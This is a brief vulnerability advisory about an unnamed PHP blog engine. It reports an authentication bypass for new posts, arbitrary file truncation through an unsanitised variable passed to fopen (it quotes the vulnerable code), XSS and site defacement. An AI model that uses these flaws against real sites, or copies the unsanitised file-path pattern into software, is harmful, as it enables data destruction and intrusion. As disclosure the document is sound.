/*
There are some critical vulnerabilities in this quite simple Blog Engine..

1 - You do not need to know the right password to send a new Post (no cecking);
2 - You can erase (even with mq=on) all file that are stored on the server:

[...]
$t = stripslashes($t);
[...]
$fc = fopen ("blog_comments/$t.txt", "w");
fwrite ($fc, "");
[...]

3-Using point No 1 you can do some XSS couse there isn't any anti-Xss code for admins
4-If mq=on than you can deface the site (but no injecting PHP cause < and > are properly parsed)
